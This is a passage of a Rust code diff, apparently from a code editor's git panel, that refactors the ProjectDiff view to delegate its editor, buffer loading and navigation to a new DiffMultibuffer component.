-        base_ref: SharedString,
-        repo: Entity<Repository>,
-        window: &mut Window,
-        cx: &mut App,
-    ) -> Task<Result<Entity<Self>>> {
-        window.spawn(cx, async move |cx| {
-            let branch_diff = cx.new_window_entity(|window, cx| {
-                let mut branch_diff = branch_diff::BranchDiff::new(
-                    DiffBase::Merge { base_ref },
-                    project.clone(),
-                    window,
-                    cx,
-                );
-                branch_diff.set_repo(Some(repo.clone()), cx);
-                branch_diff
-            })?;
-            cx.new_window_entity(|window, cx| {
-                Self::new_impl(branch_diff, project, workspace, window, cx)
-            })
-        })
+        self.diff.update(cx, |diff, cx| diff.autoscroll(cx));
     }
 
     fn new(
@@ -489,142 +194,69 @@ impl ProjectDiff {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let branch_diff =
-            cx.new(|cx| branch_diff::BranchDiff::new(DiffBase::Head, project.clone(), window, cx));
+        let branch_diff = cx.new(|cx| {
+            diff_buffer_list::DiffBufferList::new(DiffBase::Head, project.clone(), window, cx)
+        });
         Self::new_impl(branch_diff, project, workspace, window, cx)
     }
 
     fn new_impl(
-        branch_diff: Entity<branch_diff::BranchDiff>,
+        branch_diff: Entity<diff_buffer_list::DiffBufferList>,
         project: Entity<Project>,
         workspace: Entity<Workspace>,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Self {
-        let focus_handle = cx.focus_handle();
-        let multibuffer = cx.new(|cx| {
-            let mut multibuffer = MultiBuffer::new(Capability::ReadWrite);
-            multibuffer.set_all_diff_hunks_expanded(cx);
-            multibuffer
-        });
-
-        let editor = cx.new(|cx| {
-            let diff_display_editor = SplittableEditor::new(
-                EditorSettings::get_global(cx).diff_view_style,
-                multibuffer.clone(),
+        let workspace_handle = workspace.downgrade();
+        let diff = cx.new(|cx| {
+            DiffMultibuffer::new(
+                branch_diff,
+                Capability::ReadWrite,
+                "No uncommitted changes",
+                move |editor, cx| {
+                    editor.set_diff_hunk_delegate(Some(Arc::new(UncommittedDiffHunkDelegate)), cx);
+                    editor.rhs_editor().update(cx, |rhs_editor, _cx| {
+                        rhs_editor.set_read_only(false);
+                        rhs_editor.register_addon(GitPanelAddon {
+                            workspace: workspace_handle,
+                        });
+                    });
+                },
                 project.clone(),
                 workspace.clone(),
                 window,
                 cx,
-            );
-            match branch_diff.read(cx).diff_base() {
-                DiffBase::Head => {}
-                DiffBase::Merge { .. } => diff_display_editor.disable_diff_hunk_controls(cx),
-            }
-            diff_display_editor.rhs_editor().update(cx, |editor, cx| {
-                editor.set_show_diff_review_button(true, cx);
-
-                match branch_diff.read(cx).diff_base() {
-                    DiffBase::Head => {
-                        editor.register_addon(GitPanelAddon {
-                            workspace: workspace.downgrade(),
-                        });
-                    }
-                    DiffBase::Merge { .. } => {
-                        editor.register_addon(BranchDiffAddon {
-                            branch_diff: branch_diff.clone(),
-                        });
-                    }
-                }
-            });
-            diff_display_editor
-        });
-        let editor_subscription = cx.subscribe_in(&editor, window, Self::handle_editor_event);
-
-        let primary_editor = editor.read(cx).rhs_editor().clone();
-        let review_comment_subscription =
-            cx.subscribe(&primary_editor, |this, _editor, event: &EditorEvent, cx| {
-                if let EditorEvent::ReviewCommentsChanged { total_count } = event {
-                    this.review_comment_count = *total_count;
-                    cx.notify();
-                }
-            });
-
-        let branch_diff_subscription = cx.subscribe_in(
-            &branch_diff,
-            window,
-            move |this, _git_store, event, window, cx| match event {
-                BranchDiffEvent::FileListChanged => {
-                    this._task = window.spawn(cx, {
-                        let this = cx.weak_entity();
-                        async |cx| Self::refresh(this, cx).await
-                    })
-                }
-                BranchDiffEvent::DiffBaseChanged => {
-                    this.pending_scroll.take();
-                    this._task = window.spawn(cx, {
-                        let this = cx.weak_entity();
-                        async |cx| Self::refresh(this, cx).await
-                    })
-                }
-            },
-        );
-
-        let mut was_sort_by = GitPanelSettings::get_global(cx).sort_by;
-        let mut was_group_by = GitPanelSettings::get_global(cx).group_by;
-        let mut was_tree_view = GitPanelSettings::get_global(cx).tree_view;
-        let mut was_collapse_untracked_diff =
-            GitPanelSettings::get_global(cx).collapse_untracked_diff;
-        cx.observe_global_in::<SettingsStore>(window, move |this, window, cx| {
-            let settings = GitPanelSettings::get_global(cx);
-            let sort_by = settings.sort_by;
-            let group_by = settings.group_by;
-            let tree_view = settings.tree_view;
-            let is_collapse_untracked_diff = settings.collapse_untracked_diff;
-            if sort_by != was_sort_by
-                || group_by != was_group_by
-                || tree_view != was_tree_view
-                || is_collapse_untracked_diff != was_collapse_untracked_diff
-            {
-                this._task = {
-                    window.spawn(cx, {
-                        let this = cx.weak_entity();
-                        async |cx| Self::refresh(this, cx).await
-                    })
-                }
-            }
-            was_sort_by = sort_by;
-            was_group_by = group_by;
-            was_tree_view = tree_view;
-            was_collapse_untracked_diff = is_collapse_untracked_diff;
-        })
-        .detach();
-
-        let task = window.spawn(cx, {
-            let this = cx.weak_entity();
-            async |cx| Self::refresh(this, cx).await
+            )
         });
+        Self::from_diff(diff, project, workspace, cx)
+    }
 
+    fn from_diff(
+        diff: Entity<DiffMultibuffer>,
+        project: Entity<Project>,
+        workspace: Entity<Workspace>,
+        cx: &mut Context<Self>,
+    ) -> Self {
+        let observation = cx.observe(&diff, |_, _, cx| cx.notify());
         Self {
             project,
             workspace: workspace.downgrade(),
-            branch_diff,
-            focus_handle,
-            editor,
-            multibuffer,
-            buffer_subscriptions: Default::default(),
-            pending_scroll: None,
-            review_comment_count: 0,
-            _task: task,
-            _subscription: Subscription::join(
-                branch_diff_subscription,
-                Subscription::join(editor_subscription, review_comment_subscription),
-            ),
+            diff,
+            _diff_observation: observation,
         }
     }
 
     pub fn diff_base<'a>(&'a self, cx: &'a App) -> &'a DiffBase {
-        self.branch_diff.read(cx).diff_base()
+        self.diff.read(cx).diff_base(cx)
+    }
+
+    pub(crate) fn repo(&self, cx: &App) -> Option<Entity<Repository>> {
+        self.diff.read(cx).repo(cx)
+    }
+
+    pub(crate) fn set_repo(&mut self, repo: Option<Entity<Repository>>, cx: &mut Context<Self>) {
+        self.diff
+            .update(cx, |diff, cx| diff.set_repo(repo.clone(), cx));
     }
 
     pub fn move_to_entry(
@@ -633,13 +265,8 @@ impl ProjectDiff {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let Some(git_repo) = self.branch_diff.read(cx).repo() else {
-            return;
-        };
-        let repo = git_repo.read(cx);
-        let path_key = project_diff_path_key(repo, &entry.repo_path, entry.status, cx);
-
-        self.move_to_path(path_key, window, cx)
+        self.diff
+            .update(cx, |diff, cx| diff.move_to_entry(entry, window, cx));
     }
 
     pub fn move_to_project_path(
@@ -648,91 +275,42 @@ impl ProjectDiff {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        let Some(git_repo) = self.branch_diff.read(cx).repo() else {
-            return;
-        };
-        let Some(repo_path) = git_repo
-            .read(cx)
-            .project_path_to_repo_path(project_path, cx)
-        else {
-            return;
-        };
-        let status = git_repo
-            .read(cx)
-            .status_for_path(&repo_path)
-            .map(|entry| entry.status)
-            .unwrap_or(FileStatus::Untracked);
-        let path_key = project_diff_path_key(&git_repo.read(cx), &repo_path, status, cx);
-        self.move_to_path(path_key, window, cx)
-    }
-
-    fn move_to_beginning(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |editor, cx| {
-                editor.change_selections(Default::default(), window, cx, |s| {
-                    s.select_ranges(vec![multi_buffer::Anchor::Min..multi_buffer::Anchor::Min]);
-                });
-            });
+        self.diff.update(cx, |diff, cx| {
+            diff.move_to_project_path(project_path, window, cx)
         });
     }
 
-    fn move_to_path(&mut self, path_key: PathKey, window: &mut Window, cx: &mut Context<Self>) {
-        if let Some(position) = self.multibuffer.read(cx).location_for_path(&path_key, cx) {
-            self.editor.update(cx, |editor, cx| {
-                editor.rhs_editor().update(cx, |editor, cx| {
-                    editor.change_selections(
-                        SelectionEffects::scroll(Autoscroll::focused()),
-                        window,
-                        cx,
-                        |s| {
-                            s.select_ranges([position..position]);
-                        },
-                    )
-                })
-            });
-        } else {
-            self.pending_scroll = Some(path_key);
-        }
+    fn move_to_beginning(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.diff
+            .update(cx, |diff, cx| diff.move_to_beginning(window, cx));
     }
 
     pub fn calculate_changed_lines(&self, cx: &App) -> (u32, u32) {
-        self.multibuffer.read(cx).snapshot(cx).total_changed_lines()
+        self.diff.read(cx).calculate_changed_lines(cx)
     }
 
     /// Returns the total count of review comments across all hunks/files.
-    pub fn total_review_comment_count(&self) -> usize {
-        self.review_comment_count
+    pub fn total_review_comment_count(&self, cx: &App) -> usize {
+        self.diff.read(cx).total_review_comment_count()
+    }
+
+    /// Returns the splittable editor of the currently-shown diff view.
+    pub fn editor(&self, cx: &App) -> Entity<SplittableEditor> {
+        self.diff.read(cx).editor().clone()
     }
 
-    /// Returns a reference to the splittable editor.
-    pub fn editor(&self) -> &Entity<SplittableEditor> {
-        &self.editor
+    /// Returns the multibuffer of the currently-shown diff view.
+    pub fn multibuffer(&self, cx: &App) -> Entity<MultiBuffer> {
+        self.diff.read(cx).multibuffer().clone()
     }
 
     fn button_states(&self, cx: &App) -> ButtonStates {
-        let editor = self.editor.read(cx).rhs_editor().read(cx);
-        let snapshot = self.multibuffer.read(cx).snapshot(cx);
+        let diff = self.diff.read(cx);
+        let editor = diff.editor().read(cx).rhs_editor().clone();
+        let editor = editor.read(cx);
+        let snapshot = diff.multibuffer().read(cx).snapshot(cx);
         let prev_next = snapshot.diff_hunks().nth(1).is_some();
-        let mut selection = true;
-
-        let mut ranges = editor
-            .selections
-            .disjoint_anchor_ranges()
-            .collect::<Vec<_>>();
-        if !ranges.iter().any(|range| range.start != range.end) {
-            selection = false;
-            let anchor = editor.selections.newest_anchor().head();
-            if let Some((_, excerpt_range)) = snapshot.excerpt_containing(anchor..anchor)
-                && let Some(range) = snapshot
-                    .anchor_in_buffer(excerpt_range.context.start)
-                    .zip(snapshot.anchor_in_buffer(excerpt_range.context.end))
-                    .map(|(start, end)| start..end)
-            {
-                ranges = vec![range];
-            } else {
-                ranges = Vec::default();
-            };
-        }
+        let (selection, ranges) = diff.selected_ranges(cx);
         let mut has_staged_hunks = false;
         let mut has_unstaged_hunks = false;
         for hunk in editor.diff_hunks_in_ranges(&ranges, &snapshot) {
@@ -773,488 +351,62 @@ impl ProjectDiff {
         }
     }
 
-    fn handle_editor_event(
-        &mut self,
-        editor: &Entity<SplittableEditor>,
-        event: &EditorEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        match event {
-            EditorEvent::SelectionsChanged { local: true } => {
-                let Some(project_path) = self.active_project_path(cx) else {
-                    return;
-                };
-                self.workspace
-                    .update(cx, |workspace, cx| {
-                        if let Some(git_panel) = workspace.panel::<GitPanel>(cx) {
-                            git_panel.update(cx, |git_panel, cx| {
-                                git_panel.select_entry_by_path(project_path, window, cx)
-                            })
-                        }
-                    })
-                    .ok();
-            }
-            EditorEvent::Saved => {
-                self._task =
-                    cx.spawn_in(window, async move |this, cx| Self::refresh(this, cx).await);
-            }
-            _ => {}
-        }
-        if editor.focus_handle(cx).contains_focused(window, cx)
-            && self.multibuffer.read(cx).is_empty()
-        {
-            self.focus_handle.focus(window, cx)
-        }
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn excerpt_paths(&self, cx: &App) -> Vec<std::sync::Arc<util::rel_path::RelPath>> {
+        self.diff.read(cx).excerpt_paths(cx)
     }
 
-    #[instrument(skip_all)]
-    fn register_buffer(
-        &mut self,
-        path_key: PathKey,
-        file_status: FileStatus,
-        buffer: Entity<Buffer>,
-        diff: Entity<BufferDiff>,
-        conflict_set: Entity<ConflictSet>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Option<BufferId> {
-        let diff_subscription = cx.subscribe_in(&diff, window, {
-            let path_key = path_key.clone();
-            let buffer = buffer.clone();
-            let diff = diff.clone();
-            let conflict_set = conflict_set.clone();
-            move |this, _, event, window, cx| match event {
-                buffer_diff::BufferDiffEvent::DiffChanged(_) => {
-                    this.buffer_ranges_changed(
-                        path_key.clone(),
-                        file_status,
-                        buffer.clone(),
-                        diff.clone(),
-                        conflict_set.clone(),
-                        window,
-                        cx,
-                    );
-                }
-                buffer_diff::BufferDiffEvent::BaseTextChanged
-                | buffer_diff::BufferDiffEvent::HunksStagedOrUnstaged(_) => {}
-            }
-        });
-        let conflict_set_subscription = cx.subscribe_in(&conflict_set, window, {
-            let path_key = path_key.clone();
-            let buffer = buffer.clone();
-            let diff = diff.clone();
-            let conflict_set = conflict_set.clone();
-            move |this, _, _, window, cx| {
-                this.buffer_ranges_changed(
-                    path_key.clone(),
-                    file_status,
-                    buffer.clone(),
-                    diff.clone(),
-                    conflict_set.clone(),
-                    window,
-                    cx,
-                )
-            }
-        });
-        self.buffer_subscriptions.insert(
-            path_key.path.clone(),
-            BufferSubscriptions {
-                _diff: diff.clone(),
-                _diff_subscription: diff_subscription,
-                _conflict_set: conflict_set.clone(),
-                _conflict_set_subscription: conflict_set_subscription,
-            },
-        );
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn excerpt_file_paths(&self, cx: &App) -> Vec<String> {
+        self.diff.read(cx).excerpt_file_paths(cx)
+    }
+}
 
-        let snapshot = buffer.read(cx).snapshot();
-        let diff_snapshot = diff.read(cx).snapshot(cx);
+struct ButtonStates {
+    stage: bool,
+    unstage: bool,
+    prev_next: bool,
+    selection: bool,
+    stage_all: bool,
+    unstage_all: bool,
+}
 
-        let excerpt_ranges = {
-            let diff_hunk_ranges = diff_snapshot
-                .hunks_intersecting_range(
-                    Anchor::min_max_range_for_buffer(snapshot.remote_id()),
-                    &snapshot,
-                )
-                .map(|diff_hunk| diff_hunk.buffer_range.to_point(&snapshot));
-            let conflicts = conflict_set.read(cx).snapshot();
-            let mut conflicts = conflicts
-                .conflicts
-                .iter()
-                .map(|conflict| conflict.range.to_point(&snapshot))
-                .peekable();
-
-            if conflicts.peek().is_some() {
-                conflicts.collect::<Vec<_>>()
-            } else {
-                diff_hunk_ranges.collect()
-            }
-        };
+impl EventEmitter<EditorEvent> for ProjectDiff {}
 
-        let buffer_id = snapshot.text.remote_id();
-        let mut needs_fold = false;
-
-        let (was_empty, is_excerpt_newly_added) = self.editor.update(cx, |editor, cx| {
-            let was_empty = editor.rhs_editor().read(cx).buffer().read(cx).is_empty();
-            let is_newly_added = editor.update_excerpts_for_path(
-                path_key.clone(),
-                buffer,
-                excerpt_ranges,
-                multibuffer_context_lines(cx),
-                diff,
-                cx,
-            );
-            editor.rhs_editor().update(cx, |editor, cx| {
-                conflict_view::buffer_ranges_updated(editor, conflict_set, cx);
-            });
-            (was_empty, is_newly_added)
-        });
+impl Focusable for ProjectDiff {
+    fn focus_handle(&self, cx: &App) -> FocusHandle {
+        self.diff.read(cx).focus_handle(cx)
+    }
+}
 
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |editor, cx| {
-                if was_empty {
-                    editor.change_selections(
-                        SelectionEffects::no_scroll(),
-                        window,
-                        cx,
-                        |selections| {
-                            selections.select_ranges([
-                                multi_buffer::Anchor::Min..multi_buffer::Anchor::Min
-                            ])
-                        },
-                    );
-                }
-                if is_excerpt_newly_added
-                    && (file_status.is_deleted()
-                        || (file_status.is_untracked()
-                            && GitPanelSettings::get_global(cx).collapse_untracked_diff))
-                {
-                    needs_fold = true;
-                }
-            })
-        });
+impl Item for ProjectDiff {
+    type Event = EditorEvent;
 
-        if self.multibuffer.read(cx).is_empty()
-            && self
-                .editor
-                .read(cx)
-                .focus_handle(cx)
-                .contains_focused(window, cx)
-        {
-            self.focus_handle.focus(window, cx);
-        } else if self.focus_handle.is_focused(window) && !self.multibuffer.read(cx).is_empty() {
-            self.editor.update(cx, |editor, cx| {
-                editor.focus_handle(cx).focus(window, cx);
-            });
-        }
-        if self.pending_scroll.as_ref() == Some(&path_key) {
-            self.move_to_path(path_key, window, cx);
-        }
+    fn tab_icon(&self, _window: &Window, _cx: &App) -> Option<Icon> {
+        Some(Icon::new(IconName::GitBranch).color(Color::Muted))
+    }
+
+    fn to_item_events(event: &EditorEvent, f: &mut dyn FnMut(ItemEvent)) {
+        Editor::to_item_events(event, f)
+    }
 
-        needs_fold.then_some(buffer_id)
+    fn deactivated(&mut self, window: &mut Window, cx: &mut Context<Self>) {
+        self.diff
+            .update(cx, |diff, cx| diff.deactivated(window, cx));
     }
 
-    fn buffer_ranges_changed(
+    fn navigate(
         &mut self,
-        path_key: PathKey,
-        file_status: FileStatus,
-        buffer: Entity<Buffer>,
-        diff: Entity<BufferDiff>,
-        conflict_set: Entity<ConflictSet>,
+        data: Arc<dyn Any + Send>,
         window: &mut Window,
         cx: &mut Context<Self>,
-    ) {
-        if buffer.read(cx).is_dirty() {
-            return;
-        }
-        self.register_buffer(
-            path_key,
-            file_status,
-            buffer,
-            diff,
-            conflict_set,
-            window,
-            cx,
-        );
-    }
-
-    #[instrument(skip(this, cx))]
-    pub async fn refresh(this: WeakEntity<Self>, cx: &mut AsyncWindowContext) -> Result<()> {
-        let entries = this.update(cx, |this, cx| {
-            let (repo, buffers_to_load) = this.branch_diff.update(cx, |branch_diff, cx| {
-                let load_buffers = branch_diff.load_buffers(cx);
-                (branch_diff.repo().cloned(), load_buffers)
-            });
-            let mut previous_paths = this
-                .multibuffer
-                .read(cx)
-                .snapshot(cx)
-                .buffers_with_paths()
-                .map(|(buffer_snapshot, path_key)| (path_key.clone(), buffer_snapshot.remote_id()))
-                .collect::<HashMap<_, _>>();
-
-            let mut entries = BTreeMap::new();
-            if let Some(repo) = repo {
-                let repo = repo.read(cx);
-                for diff_buffer in buffers_to_load {
-                    let path_key = project_diff_path_key(
-                        &repo,
-                        &diff_buffer.repo_path,
-                        diff_buffer.file_status,
-                        cx,
-                    );
-                    previous_paths.remove(&path_key);
-                    entries.insert(path_key, diff_buffer);
-                }
-            }
-
-            this.editor.update(cx, |editor, cx| {
-                for (path, buffer_id) in previous_paths {
-                    this.buffer_subscriptions.remove(&path.path);
-                    editor.rhs_editor().update(cx, |editor, cx| {
-                        conflict_view::buffers_removed(editor, &[buffer_id], cx);
-                    });
-                    let _span = ztracing::info_span!("remove_excerpts_for_path");
-                    _span.enter();
-                    editor.remove_excerpts_for_path(path, cx);
-                }
-            });
-
-            entries
-        })?;
-
-        let mut buffers_to_fold = Vec::new();
-
-        for (path_key, entry) in entries {
-            if let Some((buffer, diff, conflict_set)) = entry.load.await.log_err() {
-                // We might be lagging behind enough that all future entry.load futures are no longer pending.
-                // If that is the case, this task will never yield, starving the foreground thread of execution time.
-                yield_now().await;
-                cx.update(|window, cx| {
-                    this.update(cx, |this, cx| {
-                        if let Some(buffer_id) = this.register_buffer(
-                            path_key,
-                            entry.file_status,
-                            buffer,
-                            diff,
-                            conflict_set,
-                            window,
-                            cx,
-                        ) {
-                            buffers_to_fold.push(buffer_id);
-                        }
-                    })
-                    .ok();
-                })?;
-            }
-        }
-        this.update(cx, |this, cx| {
-            if !buffers_to_fold.is_empty() {
-                this.editor.update(cx, |editor, cx| {
-                    editor
-                        .rhs_editor()
-                        .update(cx, |editor, cx| editor.fold_buffers(buffers_to_fold, cx));
-                });
-            }
-            this.pending_scroll.take();
-            cx.notify();
-        })?;
-
-        Ok(())
-    }
-
-    #[cfg(any(test, feature = "test-support"))]
-    pub fn excerpt_paths(&self, cx: &App) -> Vec<std::sync::Arc<util::rel_path::RelPath>> {
-        let snapshot = self
-            .editor()
-            .read(cx)
-            .rhs_editor()
-            .read(cx)
-            .buffer()
-            .read(cx)
-            .snapshot(cx);
-        snapshot
-            .excerpts()
-            .map(|excerpt| {
-                snapshot
-                    .path_for_buffer(excerpt.context.start.buffer_id)
-                    .unwrap()
-                    .path
-                    .clone()
-            })
-            .collect()
-    }
-
-    /// Returns the real (worktree-relative) path of each excerpted buffer, in
-    /// the order the excerpts appear in the multibuffer. Unlike
-    /// [`Self::excerpt_paths`], this resolves the buffer's actual `File` rather
-    /// than the (possibly synthetic) `PathKey` path used for sorting.
-    #[cfg(any(test, feature = "test-support"))]
-    pub fn excerpt_file_paths(&self, cx: &App) -> Vec<String> {
-        let multibuffer = self
-            .editor()
-            .read(cx)
-            .rhs_editor()
-            .read(cx)
-            .buffer()
-            .clone();
-        let snapshot = multibuffer.read(cx).snapshot(cx);
-        let mut result = Vec::new();
-        let mut last_buffer_id = None;
-        for excerpt in snapshot.excerpts() {
-            let buffer_id = excerpt.context.start.buffer_id;
-            if last_buffer_id == Some(buffer_id) {
-                continue;
-            }
-            last_buffer_id = Some(buffer_id);
-            if let Some(buffer) = multibuffer.read(cx).buffer(buffer_id)
-                && let Some(file) = buffer.read(cx).file()
-            {
-                result.push(file.path().as_unix_str().to_string());
-            }
-        }
-        result
-    }
-}
-
-const CONFLICT_SORT_PREFIX: u64 = 1;
-const TRACKED_SORT_PREFIX: u64 = 2;
-const NEW_SORT_PREFIX: u64 = 3;
-
-/// Computes a stable [`PathKey`] for a buffer in the project diff.
-///
-/// The key is an intrinsic function of the file's own repo path and status; it
-/// never depends on which other buffers happen to be present in the
-/// multibuffer. This is required because the multibuffer uses the path key both
-/// to order excerpts and to identify which excerpts belong to a given buffer, so
-/// a key that shifted as files were added or removed would break that identity.
-///
-/// Status grouping is encoded in the `sort_prefix`, and the within-group order
-/// is encoded in the (possibly synthetic) path so that `PathKey`'s natural
-/// ordering reproduces the git panel's order. The path here is only ever used
-/// for sorting and multibuffer identity; the path shown in the UI comes from the
-/// buffer's own `File`.
-fn project_diff_path_key(
-    repo: &Repository,
-    repo_path: &RepoPath,
-    status: FileStatus,
-    cx: &App,
-) -> PathKey {
-    let settings = GitPanelSettings::get_global(cx);
-    let sort_prefix = if settings.group_by != GitPanelGroupBy::Status {
-        TRACKED_SORT_PREFIX
-    } else if repo.had_conflict_on_last_merge_head_change(repo_path) {
-        CONFLICT_SORT_PREFIX
-    } else if status.is_created() {
-        NEW_SORT_PREFIX
-    } else {
-        TRACKED_SORT_PREFIX
-    };
-    let path = project_diff_sort_path(repo_path, settings.tree_view, settings.sort_by);
-    PathKey::with_sort_prefix(sort_prefix, path)
-}
-
-fn project_diff_sort_path(
-    repo_path: &RelPath,
-    tree_view: bool,
-    sort_by: GitPanelSortBy,
-) -> Arc<RelPath> {
-    if tree_view {
-        tree_sort_path(repo_path)
-    } else {
-        match sort_by {
-            GitPanelSortBy::Path => repo_path.into_arc(),
-            GitPanelSortBy::Name => name_sort_path(repo_path),
-        }
-    }
-}
-
-/// Builds a synthetic path that sorts by file name first, falling back to the
-/// full path to keep the key unique per file.
-fn name_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
-    let Some(file_name) = repo_path.file_name() else {
-        return repo_path.into_arc();
-    };
-    let synthetic = format!("{}/{}", file_name, repo_path.as_unix_str());
-    RelPath::unix(&synthetic)
-        .map(|path| path.into_arc())
-        .unwrap_or_else(|_| repo_path.into_arc())
-}
-
-/// Builds a synthetic path whose natural component-wise ordering reproduces a
-/// folder-first tree order. Each directory component is prefixed with a NUL
-/// byte, which can never appear in a real path component and sorts before every
-/// printable character, so at each level directories sort before files.
-fn tree_sort_path(repo_path: &RelPath) -> Arc<RelPath> {
-    let components: Vec<&str> = repo_path.components().collect();
-    if components.len() <= 1 {
-        return repo_path.into_arc();
-    }
-    let last = components.len() - 1;
-    let mut synthetic = String::new();
-    for (index, component) in components.into_iter().enumerate() {
-        if index > 0 {
-            synthetic.push('/');
-        }
-        if index < last {
-            synthetic.push('\0');
-        }
-        synthetic.push_str(component);
-    }
-    RelPath::unix(&synthetic)
-        .map(|path| path.into_arc())
-        .unwrap_or_else(|_| repo_path.into_arc())
-}
-
-impl EventEmitter<EditorEvent> for ProjectDiff {}
-
-impl Focusable for ProjectDiff {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        if self.multibuffer.read(cx).is_empty() {
-            self.focus_handle.clone()
-        } else {
-            self.editor.focus_handle(cx)
-        }
-    }
-}
-
-impl Item for ProjectDiff {
-    type Event = EditorEvent;
-
-    fn tab_icon(&self, _window: &Window, _cx: &App) -> Option<Icon> {
-        Some(Icon::new(IconName::GitBranch).color(Color::Muted))
-    }
-
-    fn to_item_events(event: &EditorEvent, f: &mut dyn FnMut(ItemEvent)) {
-        Editor::to_item_events(event, f)
-    }
-
-    fn deactivated(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |primary_editor, cx| {
-                primary_editor.deactivated(window, cx);
-            })
-        });
-    }
-
-    fn navigate(
-        &mut self,
-        data: Arc<dyn Any + Send>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> bool {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |primary_editor, cx| {
-                primary_editor.navigate(data, window, cx)
-            })
-        })
+    ) -> bool {
+        self.diff
+            .update(cx, |diff, cx| diff.navigate(data, window, cx))
     }
 
     fn tab_tooltip_text(&self, cx: &App) -> Option<SharedString> {
-        match self.diff_base(cx) {
-            DiffBase::Head => Some("Project Diff".into()),
-            DiffBase::Merge { .. } => Some("Branch Diff".into()),
-        }
+        Some(self.tab_content_text(0, cx))
     }
 
     fn tab_content(&self, params: TabContentParams, _window: &Window, cx: &App) -> AnyElement {
@@ -1267,19 +419,16 @@ impl Item for ProjectDiff {
             .into_any_element()
     }
 
-    fn tab_content_text(&self, _detail: usize, cx: &App) -> SharedString {
-        match self.branch_diff.read(cx).diff_base() {
-            DiffBase::Head => "Uncommitted Changes".into(),
-            DiffBase::Merge { base_ref } => format!("Changes since {}", base_ref).into(),
-        }
+    fn tab_content_text(&self, _detail: usize, _cx: &App) -> SharedString {
+        "Uncommitted Changes".into()
     }
 
     fn telemetry_event_text(&self) -> Option<&'static str> {
         Some("Project Diff Opened")
     }
 
-    fn as_searchable(&self, _: &Entity<Self>, _cx: &App) -> Option<Box<dyn SearchableItemHandle>> {
-        Some(Box::new(self.editor.clone()))
+    fn as_searchable(&self, _: &Entity<Self>, cx: &App) -> Option<Box<dyn SearchableItemHandle>> {
+        Some(Box::new(self.diff.read(cx).editor().clone()))
     }
 
     fn for_each_project_item(
@@ -1287,26 +436,11 @@ impl Item for ProjectDiff {
         cx: &App,
         f: &mut dyn FnMut(gpui::EntityId, &dyn project::ProjectItem),
     ) {
-        self.editor
-            .read(cx)
-            .rhs_editor()
-            .read(cx)
-            .for_each_project_item(cx, f)
+        self.diff.read(cx).for_each_project_item(cx, f)
     }
 
     fn active_project_path(&self, cx: &App) -> Option<ProjectPath> {
-        let editor = self.editor.read(cx).focused_editor().read(cx);
-        let multibuffer = editor.buffer().read(cx);
-        let position = editor.selections.newest_anchor().head();
-        let snapshot = multibuffer.snapshot(cx);
-        let (text_anchor, _) = snapshot.anchor_to_buffer_anchor(position)?;
-        let buffer = multibuffer.buffer(text_anchor.buffer_id)?;
-
-        let file = buffer.read(cx).file()?;
-        Some(ProjectPath {
-            worktree_id: file.worktree_id(cx),
-            path: file.path().clone(),
-        })
+        self.diff.read(cx).active_project_path(cx)
     }
 
     fn set_nav_history(
@@ -1315,11 +449,8 @@ impl Item for ProjectDiff {
         _: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |primary_editor, _| {
-                primary_editor.set_nav_history(Some(nav_history));
-            })
-        });
+        self.diff
+            .update(cx, |diff, cx| diff.set_nav_history(nav_history, cx));
     }
 
     fn can_split(&self) -> bool {
@@ -1344,11 +475,11 @@ impl Item for ProjectDiff {
     }
 
     fn is_dirty(&self, cx: &App) -> bool {
-        self.multibuffer.read(cx).is_dirty(cx)
+        self.diff.read(cx).is_dirty(cx)
     }
 
     fn has_conflict(&self, cx: &App) -> bool {
-        self.multibuffer.read(cx).has_conflict(cx)
+        self.diff.read(cx).has_conflict(cx)
     }
 
     fn can_save(&self, _: &App) -> bool {
@@ -1362,11 +493,8 @@ impl Item for ProjectDiff {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Task<Result<()>> {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |primary_editor, cx| {
-                primary_editor.save(options, project, window, cx)
-            })
-        })
+        self.diff
+            .update(cx, |diff, cx| diff.save(options, project, window, cx))
     }
 
     fn save_as(
@@ -1385,11 +513,8 @@ impl Item for ProjectDiff {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> Task<Result<()>> {
-        self.editor.update(cx, |editor, cx| {
-            editor.rhs_editor().update(cx, |primary_editor, cx| {
-                primary_editor.reload(project, window, cx)
-            })
-        })
+        self.diff
+            .update(cx, |diff, cx| diff.reload(project, window, cx))
     }
 
     fn act_as_type<'a>(
@@ -1401,9 +526,19 @@ impl Item for ProjectDiff {
         if type_id == TypeId::of::<Self>() {
             Some(self_handle.clone().into())
         } else if type_id == TypeId::of::<Editor>() {
-            Some(self.editor.read(cx).rhs_editor().clone().into())
+            Some(
+                self.diff
+                    .read(cx)
+                    .editor()
+                    .read(cx)
+                    .rhs_editor()
+                    .clone()
+                    .into(),
+            )
         } else if type_id == TypeId::of::<SplittableEditor>() {
-            Some(self.editor.clone().into())
+            Some(self.diff.read(cx).editor().clone().into())
+        } else if type_id == TypeId::of::<diff_buffer_list::DiffBufferList>() {
+            Some(self.diff.read(cx).branch_diff().clone().into())
         } else {
             None
         }
@@ -1415,88 +550,15 @@ impl Item for ProjectDiff {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
-        self.editor.update(cx, |editor, cx| {
-            editor.added_to_workspace(workspace, window, cx)
+        self.diff.update(cx, |diff, cx| {
